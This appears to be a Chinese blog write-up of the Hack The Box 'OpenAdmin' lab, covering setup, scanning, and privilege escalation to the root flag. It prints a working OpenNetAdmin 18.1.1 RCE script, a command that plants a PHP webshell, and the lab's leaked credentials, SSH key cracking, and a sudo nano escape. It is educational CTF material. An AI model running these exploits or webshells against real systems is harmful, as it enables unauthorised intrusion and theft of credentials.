在撰写这篇文章之前,我先简单分享下hack the box实验感受。hack the box是一个在线渗透平台,模拟了真实环境且难度较大,各种Web渗透工具及操作串联在一起,挺有意思的。本文详细讲解了hack the box机器配置,通过OpenAdmin题目分享管理员权限Flag获取流程,希望对您有所帮助。同时,该网站题目细节不便于透露,推荐大家亲自去尝试,本文更多的分享一些思想。整体流程如下:
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
基础工具:https://github.com/eastmountyxz/Security-Software-Based
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
Hack The Box是一个在线平台,允许测试您的渗透技能和代码,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战,并且模拟真实场景,其风格更倾向于CTF挑战。也推荐读者试试Vulnhub。注册登录后有地图炮(attack maps)、在线人数及设备、Web渗透真实场景等。官方网址:https://www.hackthebox.eu/
前面我们介绍了Challenge中Web渗透题目,它类似于CTF小测试。接下来我们看看Machines类型题目,它更接近于真实环境。
靶场地址:https://www.hackthebox.eu/home/machines
HTB建议使用VirtualBox或VMware虚拟机,推荐的操作系统是Parrot Security Edition或Kali Linux,下面作者讲解Machines配置过程。
第一步,配置openv * n。正式开始之前,需要在本地配置Hack The Box专用的V*N才能连接到靶场。
进入左侧的Labs-Access页签,HTB已经在Getting Started详细说明了连接方法,建议使用Linux虚拟机进行渗透测试实验。
第二步,在kali下安装相关扩展包。
注意:由于限制,全文 “V*N” 中均用 “ * ” 代替 “ P ” 。
apt-get install network-manager-open*n
apt-get install network-manager-openv*n-gnome
apt-get install network-manager-pptp
apt-get install network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-v*nc
apt-get install network-manager-v*nc-gnome
安装如下图所示:
第三步,在access页面点击here下载openv*n配置文件。
下载地址:https://www.hackthebox.eu/home/htb/access
将文件下载复制至Kali系统某个目录中,如下图所示。
Kali系统如果没有openv*n,则调用如下命令进行安装。
sudo apt-get install openv*n
第四步,在终端中调用命令安装已下载的配置文件,需要在root权限中运行。
openv*n eastmountyxz.ov*n
连接成功后Hack The Box网页会在access页面看到connected打勾,包括相关的IP地址。
注意,执行成功后不要关闭终端,重新打开一个终端进行后续测试。
第五步,返回网站,点开machines->Active,选择相关题目进行渗透试验。
同构IP地址打开网页如下图所示:
如果您的网站无法访问,可能是以下问题,也可能是网络问题。
注意,开启对应1337端口。
目标地址:10.10.10.171(Linux)
难度级别:简单(对读者来说,真实的非常受用,在我心中是困难&有趣级别)
目标任务:找到靶机上的user.txt和root.txt。
目标网站:如下图所示。
对应题目信息:
当我们看到一个网站之后,首先进行相关的注入分析和信息收集,包括端口扫描、目录扫描、人工注入、万能密码、弱口令等测试。
目标网站默认服务是Apache的默认页面,在网址后面随便加了一个路径,报错信息显示是 Apache/2.4.29 (Ubuntu) Server at 10.10.10.171 Port 80。暂无相关信息,我们通过Nmap探测开放端口。
nmap 10.10.10.171
使用Nmap工具查看目标主机开放的端口号,扫出22(ssh)和80(http)两个端口。
补充:如果目标主机上打开的端口较多时,用户可以指定扫描端口范围,如指定扫描端口号在1~3000之间的端口号,执行命令如下所示:
nmap 10.10.10.171 -p 1-3000
同时,Nmap工具还可以指定一个特定端口号来扫描。比如使用Nmap工具指定扫描在192.168.41.*网段内所有开启TCP端口22的主机。执行命令如下所示:
nmap -p 22 192.168.41.*
端口都是常用的两个端口,仍然没有头绪,我们接着扫描目录,Kali中常用的工具包括:
(1) dirb
使用small.txt字典扫描目录。您同意可以使用自己的字典库进行目录扫描,甚至可以Python撰写代码递归扫描。
dirb http://10.10.10.171/ /usr/share/dirb/wordlists/small.txt
输出结果如下图所示:
发现music目录。
浏览器中打开如下图所示:
(2) gobuster
Gobuster这款工具基于Go编程语言开发,具备优异的执行效率和并发性能。广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力P解和攻击。不同于其他工具,该工具支持同时多扩展名爆破,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。推荐文献:
PS:这里给读者普及下gobuster的基本用法。由于作者是安全初学者,所以在该系列文章中,每当学到新的工具或好的技巧时,我都会分享出来,可能文章比较啰嗦,但初衷是帮助到初学者,还请各位大佬海涵~
Gobuster可爆破的对象包括:
下面简单分享Gobuster的安装过程。
第一步,安装GO环境。
下载安装包,命令如下,也可以从github下载。
wget -c https://storage.googleapis.com/golang/go1.11.2.linux-amd64.tar.gz
下载好安装包后,进行解压及文件夹移动操作,如图所示。
tar zxzf go1.11.2.linux-amd64.tar.gz
mv go /usr/local
由于作者之前创建其他版本,故先删除go文件夹。
第二步,配置GO环境。
创建Go语言工作空间。
mkdir -p $HOME/go
mkdir -p go
配置Go语言环境变量,使用Vi打开.bashrc文件,并写入环境变量,保存退出。
vi ~/.bashrc
在.bashrc文章中新增变量内容如下,PATH为GO的安装路径,GOPATH为GO语言的工作空间(此目录不能和安装目录同路径)。
export PATH=$PATH:/usr/local/go/bin
export GOPATH="$HOME/go"
立刻生效环境变量。
source ~/.bashrc
最后,检验Go语言环境安装是否成功。
go version
go
如下图所示,Kali下的GO环境就安装成功了。
第三步,配置Gobuster工具。
当GO环境搭建好之后,我们需要安装Gobuster工具。你就可以直接使用下列命令来下载和安装Gobuster,但总报错。
go get github.com/OJ/gobuster
go get && go build
go install
作者尝试从Github中下载工具,但安装仍然没成功。哎,还是功力浅了,继续加油!
下载地址:https://github.com/OJ/gobuster/releases
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.171/
用Gobuster扫描目标url,最终发现/artwork 和 /music 目录。
通过目录扫描发现music目录,我们访问如下图所示,接着登录按钮跳转后台,用户为guest 。
此时进入的页面如下图所示,发现使用的是Opennetadmin后台。注意,版本信息获取及对应版本漏洞分析也是Web渗透重要的技能。
第一步,历史版本漏洞分析。
当你不知道这是什么系统时,可以右键源代码查看框架js代码,然后Google查询,其Opennetadmin系统的版本是v18.1.1。首先查看历史漏洞,我们以guest登录到Opennetadmin系统的后台,分析其是否有垂直提权到admin的方法或者看看有没上传。[参考Catalog 详见文献]
使用searchsploit找到相关的RCE漏洞 ,参考文章:https://www.exploit-db.com/exploits/47691
其他大佬的截图有V18.1.1版本漏洞。
第二步,利用RCE漏洞。
当我们发现这个版本的RCE漏洞后,我们利用代码getshell。漏洞详见文章:
将代码复制至Kali系统,即“shell.sh”。
代码如下:
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
接着输入命令进行提取。
./shell.sh http://10.10.10.171/ona/
pwd
id
ls
显示结果如下图所示,服务器环境有PHP,那么就想办法上传一句话木马。同时,敏感目录需要深入分析,注意“/opt/ona/www”是当前路径,后续蚁剑会对应显示。
注意,如果输入“./shell.sh http://10.10.10.171/ona/”报错。这个因为该文件在Windows下编辑过,在Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有多出来的\r。使用指令“sed -i ‘s/\r$//’ xxx.sh”,该指令会把 xxx.sh中的\r 替换成空白即可。
接着我们需要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢?我们接着补充。
中国蚁剑推荐大家阅读如下文章,它是非常强大的一款渗透工具。
第一步,下载中国蚁剑可以使用git命令,也可以直接从github中下载。
git clone https://github.com/antoor/antSword.git
cd antSword
作者从官网下载对应的Linux版本。
第二步,打开Kali终端找到你下载的中国蚁剑压缩包并解压。
unzip AntSword-Loader-v4.0.3-linux-x64.zip
解压显示如下图所示:
第三步,进入中国蚁剑压缩包并打开蚁剑。
./AntSword
蚁剑打开如下图所示:
第四步,创建一个空文件夹(用全英文名字)。
然后点击蚁剑“初始化”按钮,找到你新建的文件夹,并选择它进行安装。
执行结束之后,“./AntSword”会出现这个界面,说明安装成功。
第一步,在命令行中插入一句话木马。
echo 'pwd']);?>' >> /opt/ona/www/images/config.php
第二步,运行蚁剑,右键单击“添加数据”,输入URL地址,连接密码以及编码设置。PHP语言推荐编辑器使用chr加密。
URL:http://10.10.10.171/ona/images/config.php
密码:pwd
接着整个后台显示出来,如下图所示,是不是感受到了蚁剑的强大。但实验还没完,我们还需要继续深度提权。
当我们将“config.php”下载至本地,可以看到PHP一句话木马。我们是通过命令行插入的该文件,再利用口令和URL连接的Webshell,个人感觉蚁剑比菜刀稳定性更好、更强大。
此时,Webshell成功提权,但仅普通权限。
第一步,拿到shell之后枚举用户 ,这里右键选择“虚拟终端”。
第二步,查看用户信息。
cat /etc/passwd
看了一下系统用户,有两个比较可疑——jimmy和joanna。
注意,网络战的配置文件也是我们关注的重点。有些密码是可以作为字典来碰撞系统的其他用户的,fuzz的概率很大。
第三步,敏感文件分析。
通过敏感文件分析,我们发现该框架的数据库配置文件位于:
我们在 /opt/ona/www/local/config 文件夹下面找到明文密码。
调用“cat database_settings.inc.php”显示如下所示:
发现了jimmy或joanna用户的密码,那又怎么使用这个密码呢?
www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>
第四步,SSH尝试使用密码登录 jimmy 和 joanna。
用数据库的密码测试两个账号,发现密码的用户为jimmy的。
ssh jimmy@10.10.10.171
'db_passwd' => 'n1nj4W4rri0R!'
显示文件权限:
第五步,目录扫描及用户权限查找。
我们的目的是找到flag并拿到root shell,去/home目录下发现没有 flag,那可能在另一个账号中。不过拿到这个账号肯定是有用的,至于用处在哪,还没发现,再次收集一波信息。找了一波发现在/var/www/下有一个jimmy用户的文件夹。
jimmy没有拿user.txt的权限,我们需要拿下joanna用户,在/var/www/下发现了文件夹internal 的所有者为jimmy,对其文件源码进行分析。
当我们发现/var/www/目录中internal文件夹的所有者为jimmy,我们查看其“index.php”和“main.php”源代码,对其进行分析。
第一步,分析index.php代码。
代码显示如果username和passwd都正确,则会跳转到main.php页面。main.php中会输出joanna这个用户的ssh密钥。我们拿这个hash去cmd5解密。
index.php源代码如下:
ob_start();
session_start();
?>
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
?>
<html lang = "en">
<head>
<title>Tutorialspoint.com</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "$_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"> echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
</div>
</body>
</html>
第二步,MD5解密。
解密出来后为 Revealed。在线解密:https://www.somd5.com/
第三步,分析main.php源码。
通过源码分析,发现internal/main.php会输出joanna的ssh私钥。
源代码:
# OpenAdmin
$output = shell_exec("cat /home/joanna/.ssh/id_rsa");
echo "$output
";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
第四步,扫描其他用户的端口。
现在的问题就是如何Post这个url。直接在浏览器肯定不行,因为默认的路由就是 ona,肯定只能在这个SSH内部,结合这个目录名字internal。但最早我们扫端口只有80和22,接着我们再看一下jimmy用户本地启动的服务,3306不用说了,那大概率就是那个52846。
netstat -ano | grep 127.0.0.1
查看网络服务另一种方法,发现一个奇怪的服务端口为52846。
netstat -anutp
第四步,POST数据请求。
猜测其为main.php所在的服务,并且构建curl提交POST请求,从而获得私钥信息。
curl -d "username=jimmy&password=Revealed" -X POST http://127.0.0.1:52846/main.php
输出结果如下图所示:
ssh_key到手,直接连接jimmy这个账号之前我们还需要知道这个私钥的密码,使用john爆破。
第一步,将私钥复制到Kali本地。
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
“id_rsa”文件如下图所示:
第二步,利用ssh2john获取哈希,再用john爆破哈希获得密码。
先用 john 自带脚本转换一下格式,代码如下:
python /usr/share/john/ssh2john.py id_rsa > ssh
John全称叫“John the Ripper password cracker(约翰开膛手密码解密)”。
John the Ripper是一个快速的密码P解程序,目前可用于Unix、Windows、DOS和OpenVMS等。其主要目的是检测弱Unix密码,除了在各种Unix系统上最常见的几种crypt密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。
官方文档:https://github.com/magnumripper/JohnTheRipper
注意,如果报错“python: can’t open file ‘/usr/share/john/ssh2john.py’: [Errno 2] No such file or directory”,读者可以从github复制源文件即可。
cp ssh2john.py /usr/share/john
接着将保存出来的id_rsa转换成john格式,ssh2john.py是把ssh密钥改成john可以识别的格式,使用john爆破–wordlist指定字典。
python /usr/share/john/ssh2john.py id_rsa > ssh
john --wordlist=/usr/share/wordlists/rockyou.txt ssh
密码为 bloodninjas,如下图所示:
第三步,利用私钥ssh登录joanna账户。
ssh -i id_rsa joanna@10.10.10.171
注意,如果出现“Permissions 0644 for ‘/root/.ssh/id_rsa’ are too open”等错误,需要将权限降到0600即可,代码为“chmod 0600 id_rsa”。
输入命令和密码bloodninjas,登录joanna账号。
这样就登陆joanna,在当前目录下有个user.txt里面存着flag。
第四步,使用 sudo -l 可以发现,下面两个不用密码就可以以root权限执行。
sudo -l
第五步,可以执行/bin/nano /opt/priv这些不需要root密码,接着用nano逃逸来提权。
使用 sudo /bin/nano /opt/priv打开,然后使用ctrl+R来读取 /root/root.txt的内容。
获取最终结果如下图所示,成功!!!
这篇基础性文章就此结束,希望文章对您有所帮助。非常感谢师弟他们的推荐,也觉得自己的技术好浅,要学的知识好多。如果您是安全初学者,一步一步学习,多实践多尝试,大牛都是慢慢练成的。这篇文章实验还挺有意思的,而且是多个工具及漏洞的利用,希望能在这个地方看到您的身影,也祝您体会到本次实验的乐趣。
转眼,自己已经写了63篇安全文章了,非常值得纪念,今后也希望帮到更多的读者。最后,希望博友们多看看来时的路,生活不止有编程和论文,还有太多精彩需要我们去感受,祝好~
(By:Eastmount 2020-03-27 下午5点写于贵阳 http://blog.csdn.net/eastmount/ )
参考文献:
[1] https://www.hackthebox.eu/home/machines
[2] HTB(Hack The Box)系列—入门指南 - dylan
[3] hackthebox 初学者教程 - Sunbet_行业观察
[4] hackthebox OpenAdmin - Catalog
[5] Hackthebox_OpenAdmin - Aran
[6] OpenNetAdmin 18.1.1 Remote Code Execution - CXSecurity.com - 安全客
[7] https://github.com/OJ/gobuster
[8] kali下安装go环境 - sch01ar
[9] Kali Linux下go语言环境搭建 - FLy_hps
[10 ]【渗透测试小白系列】之目录扫描、Nmap的使用及使用Metasploit通过MS17-010获取系统权限
[11] windows安装中国蚁剑 - rose never fade
[12] https://github.com/opennetadmin/ona
[13] Kali 安装中国蚁剑(antSword) - zrools
[14] https://github.com/magnumripper/JohnTheRipper
[15] https://cloud.tencent.com/developer/article/1595295
PS:感谢这些大佬的分享,受益匪浅,也推荐读者阅读这些文献。